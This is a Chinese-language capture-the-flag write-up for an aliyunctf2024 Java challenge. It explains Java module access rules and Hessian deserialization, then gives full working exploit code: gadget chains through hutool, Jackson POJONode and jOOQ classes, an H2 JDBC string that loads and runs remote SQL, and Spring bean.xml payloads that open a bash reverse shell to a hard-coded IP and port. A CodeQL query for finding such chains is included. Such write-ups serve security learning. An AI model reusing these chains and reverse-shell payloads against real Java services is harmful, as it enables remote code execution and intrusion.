官方wp:https://xz.aliyun.com/t/14190
前置知识 Jdk9 module dk9出现了module机制:https://zhuanlan.zhihu.com/p/640217638。
总结一下:
Java API 的作用范围分为methods、classes、packages和modules(最高)。 module包含许多基本信息:
名字
对其他module的依赖关系
开放的API(其他都是module内部的,无法访问)
使用和提供的service
每个module,都会有一个module-info.java文件,如TemplatesImpl所在的module:
java.xml是module的名字,不一定要和包名一样。
exports表示外部可以访问当前module的哪些package。有点像nodejs。
exports…to 表示指定该package只能被哪些package访问。
同一个module下的类可以互相访问。
TemplatesImpl所在的package没有被export,所以我们不能访问。
–add-opens 在程序运行时加上VM Option,即可访问原本不能访问的module。语法:--add-opens [module]/[package]=module
,如:--add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED
,意思就是把该模块下的某包对所有unnamed module开放。一般没有module信息的类都在unnamed module @ xxxxx
下。
setAccessible 平时设置私有属性必须要用到的就是这个,但是jdk9中setAccessible中多了个这个,检查访问权限。
总结一下,以下情况才是Accessible:
当前module和被访问module相同
当前module是java.base
被访问module是unnamed module
class is public and package is exported to caller
member is public
member is protected-static
package is open to caller
反序列化 反序列化类,不受module影响。
如,第一次运行加上–add-opens序列化XString,写到一个文件里。第二次运行时,不加–add-opens,读取该文件,反序列化成功。
hessian反序列化 这也是一块重要内容。
核心利用方式:当反序列化最外层对象是一个map时,会调用该map的put方法。
所以通过put触发的gadge都可以用,如下面两个,作用都是put->toString。
HashMap+XString。
/* make map1's hashCode == map2's map3#readObject map3#put(map1,1) map3#put(map2,2) if map1's hashCode == map2's : map2#equals(map1) map2.xString#equals(obj) // obj = map1.get(zZ) obj.toString */ public static HashMap get_HashMap_XString(Object obj) throws Exception{ XString xString = new XString(""); HashMap map1 = new HashMap(); HashMap map2 = new HashMap(); map1.put("yy", xString); map1.put("zZ",obj); map2.put("zZ", xString); HashMap map3 = new HashMap(); map3.put(map1,1); map3.put(map2,2); map2.put("yy", obj); return map3; }
HashMap+HotSwappableTagetSource+XString
public static HashMap get_HashMap_HotSwappable_XString(Object obj) throws Exception{ XString xString = new XString(""); HotSwappableTargetSource h1 = new HotSwappableTargetSource(10); HotSwappableTargetSource h2 = new HotSwappableTargetSource(2); HashMap<Object, Object> map = new HashMap<>(); map.put(h1,"123"); map.put(h2,1); Util.setFieldValue(h1,"target",obj); Util.setFieldValue(h2,"target",xString); return map; }
但是这道题不是一般的hessian
<dependency> <groupId>com.alibaba</groupId> <artifactId>hessian-lite</artifactId> <version>3.2.13</version> </dependency>
有黑名单
XString也被包括在里面了。
h2 jdbc attack https://xz.aliyun.com/t/13931
h2数据库,如果能执行这条sql语句,即可rce。
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('calc')
指定jdbc连接的url为这个时,会加载远程sql语句然后执行。
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
来个例子:
pom文件
<dependency> <groupId>cn.hutool</groupId> <artifactId>hutool-all</artifactId> <version>5.8.16</version> </dependency> <dependency> <groupId>com.h2database</groupId> <artifactId>h2</artifactId> <version>2.2.224</version> </dependency>
main
public static void main(String[] args) throws Exception { String sql = "runscript from 'http://localhost:8000/poc.sql'"; String url = String.format("jdbc:h2:mem:test;init=%s", sql); PooledDSFactory pooledDSFactory = Util.createWithoutConstructor(PooledDSFactory.class); Setting setting = new Setting(); setting.setCharset(null); setting.set("url",url); Util.setFieldValue(pooledDSFactory,"setting",setting); HashMap<Object, Object> dsmap = new HashMap<>(); dsmap.put("",null); Util.setFieldValue(pooledDSFactory,"dsMap",dsmap); pooledDSFactory.getDataSource().getConnection(); }
运行即可弹计算器。
观察一下main,没有import h2依赖的包,那能不能把这个依赖去掉?
PooledDSFactory是hutool依赖里用来发起数据库连接的类,连接时需要用到driver。 h2依赖里面放的就是driver。
所以去掉h2依赖后会提示找不到driver。
JSONObject cn.hutool.json.JSONObject。
该类是一个map,put(key,value)时会触发value.toString,但value必须是java内部类。
put方法会进入这里。
接着进入wrap。
可以看到触发toString也是有条件的,就是必须是Java内部类。
AtomicReference java.util.concurrent.atomic.AtomicReference
这个类的toString方法,会调用自身value属性的toString。
POJONode 特性 我们都知道jackson#toString
,可以调用getter,但是getter的返回值,如果是个对象,也会继续调用该对象的getter。
在BeanPropertyWriter#serializeAsField
中,第一行就是调用getter,getter的返回值是value
还是这个方法,继续往下,会到达这里,value被传了进去:
一直跟进serializeFields
这个方法里,prop是这个对象的属性,不一定是成员变量,如有一个getA方法,但是没有A属性,A也会算进prop里。
后面就是进入prop的serializeAsField,然后继续调用getter。注意,此时的getter已经是value的getter了。
ClassPathXmlApplicationContext
agent 看看官方wp:https://xz.aliyun.com/t/14190
调用链:JSONObject.put -> AtomicReference.toString -> POJONode.toString -> Bean.getObject -> DSFactory.getDataSource -> Driver.connect
我最开始看的时候,有几个问题:
1、本地运行时加了–add-opens参数,目的是为了访问原本不可访问的类,但是打远程的时候没办法在远程加,是不是远程就不能访问这些类了?
2、题目的dockerfile加了这个:--add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED
,目的是为了让当前module能够访问别的module。但是别的类,比如POJONode也处于别的module,为什么不用加也能正常反序列化?
3、JSONObject和POJONode中间为什么要多调用AtomicReference#toString
。
4、直接把PooledDSFactory直接写进bean,这样的话,调用的就是PooledDSFactory的readObject。按我的理解,应该把PooledDSFactory再套一层readObject->toString->getter,然后再塞进bean。
对于第二点,hessian反序列化恢复属性的时候会调用setAccessible,由于AtomicReference的module是java.base,原本不可访问,所以要加–add-opens。而POJONode等别的类,module是unnamed module,setAccessible可以通过,且反序列化不检查module,所以不加也没事。
别的问题都可以在上面找到答案。
还有就是自己本地生成payload时,能吐出base64,但是会有异常,不过不影响。
server sink点寻找 首先要知道java里rce的方法大致有哪些
Runtime.getRuntime().exec
new ProcessBuilder(“”).start()
method#invoke,method和参数可控
远程类加载URLClassLoader#loadClass
jdk8中有TemplatesImpl,jdk9之后就无了。
高版本JDNI与BeanFactory
任意类实例化
看这题的时候,没想到任意类实例化。用codeql查jooq包,没有Runtime,没有ProcessBuilder,loadClass和method#invoke都有一些,但不可控。于是只能考虑jooq这个包是不是有类似于jdbc的、不在上述范围内的rce,例如agent用到的h2。
但其实new ClassPathXmlApplicationContext就能rce了。当pop让我codeql查找newInstance方法时候,我才想起来有这个rce手法。(第一次接触是在pgsql jdbc attack )
codeql挖掘 先查newInstance
然后就是找getter到达这个newInstance的路径
/** @kind path-problem */ import java import semmle.code.java.dataflow.FlowSources class Source extends Method{ Source(){ this.getDeclaringType().getASupertype*() instanceof TypeSerializable and this.getName().indexOf("get") = 0 and this.getName().length() > 3 and this.isPublic() and this.fromSource() and this.hasNoParameters() and getDeclaringType().getQualifiedName().matches("%jooq%") } } class Sink extends Method{ Sink(){ exists(MethodAccess ac| ac.getMethod().getName().matches("%newInstance%") and ac.getMethod().getNumberOfParameters() = 1 and getDeclaringType().getQualifiedName().matches("%jooq%") and this = ac.getCaller() ) and getDeclaringType().getASupertype*() instanceof TypeSerializable } } query predicate edges(Method a, Method b) { a.polyCalls(b)and (a.getDeclaringType().getASupertype*() instanceof TypeSerializable or a.isStatic()) and (b.getDeclaringType().getASupertype*() instanceof TypeSerializable or b.isStatic()) } from Source source, Sink sink where edges+(source, sink) select source, source, sink, "$@ $@ to $@ $@" , source.getDeclaringType(),source.getDeclaringType().getName(), source,source.getName(), sink.getDeclaringType(),sink.getDeclaringType().getName(), sink,sink.getName()
结果不多,配合手筛就能找到正确的了,那就是ConvertedVal#getValue -> ConvertAll#from
,从名字就能看出功能很相似。
chain构造 然后补齐中间的链子即可
public static void aliyunctf2024_chain17_server_exp() throws Exception{ Object convertedVal = Util.createWithoutConstructor(Class.forName("org.jooq.impl.ConvertedVal")); Object dataTypeProxy = Util.createWithoutConstructor(Class.forName("org.jooq.impl.DataTypeProxy")); Object delegate = Util.createWithoutConstructor(Class.forName("org.jooq.impl.Val")); Object arrayDataType = Util.createWithoutConstructor(Class.forName("org.jooq.impl.ArrayDataType")); Object name = Util.createWithoutConstructor(Class.forName("org.jooq.impl.UnqualifiedName")); Object commentImpl = Util.createWithoutConstructor(Class.forName("org.jooq.impl.CommentImpl")); Util.setFieldValue(commentImpl,"comment","11111"); Util.setFieldValue(delegate,"value","http://192.168.109.1:17878/bean.xml"); Util.setFieldValue(arrayDataType,"uType",ClassPathXmlApplicationContext.class); Util.setFieldValue(dataTypeProxy,"type",arrayDataType); Util.setFieldValue(convertedVal,"type",dataTypeProxy); Util.setFieldValue(convertedVal,"delegate",delegate); Util.setFieldValue(convertedVal,"name",name); Util.setFieldValue(convertedVal,"comment",commentImpl); POJONode pojoNode = Gadget.getPOJONode(convertedVal); EventListenerList list = new EventListenerList(); UndoManager manager = new UndoManager(); Vector vector = (Vector) Util.getFieldValue(manager, "edits"); vector.add(pojoNode); Util.setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager}); System.out.println(Util.base64Encode(Util.serialize(list))); }
bean.xml 这个可以
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:p="http://www.springframework.org/schema/p" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="evil" class="java.lang.String"> <constructor-arg value="#{T(Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyMC43Ni4xMTguMjAyLzE2NjY2IDA+JjE=}|{base64,-d}|{bash,-i}')}"/> </bean> </beans>
这样不行,不知道为什么。
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:p="http://www.springframework.org/schema/p" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="exec" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>/bin/bash</value> <value>-c</value> <value>"/bin/bash -i >&/dev/tcp/120.76.118.202/16666 0>&1"</value> </list> </constructor-arg> </bean> </beans>
完整复现 server在内网里,要通过agent打。这一步也挺麻烦的,我能想到的办法只有在agent getshell后写文件,搭个代理到内网。我尝试过后,有一点麻烦,就按照官方的打。
官方wp直接在agent获取到poc.sql时执行java代码
create alias send as 'int send(String url, String poc) throws java.lang.Exception { java.net.http.HttpRequest request = java.net.http.HttpRequest.newBuilder().uri(new java.net.URI(url)).headers("Content-Type", "application/octet-stream").version(java.net.http.HttpClient.Version.HTTP_1_1).POST(java.net.http.HttpRequest.BodyPublishers.ofString(poc)).build(); java.net.http.HttpClient httpClient = java.net.http.HttpClient.newHttpClient(); httpClient.send(request, java.net.http.HttpResponse.BodyHandlers.ofString()); return 0;}'; call send('http://server:8080/read', '<这里填打 server 的 base64 payload>')
复现成功。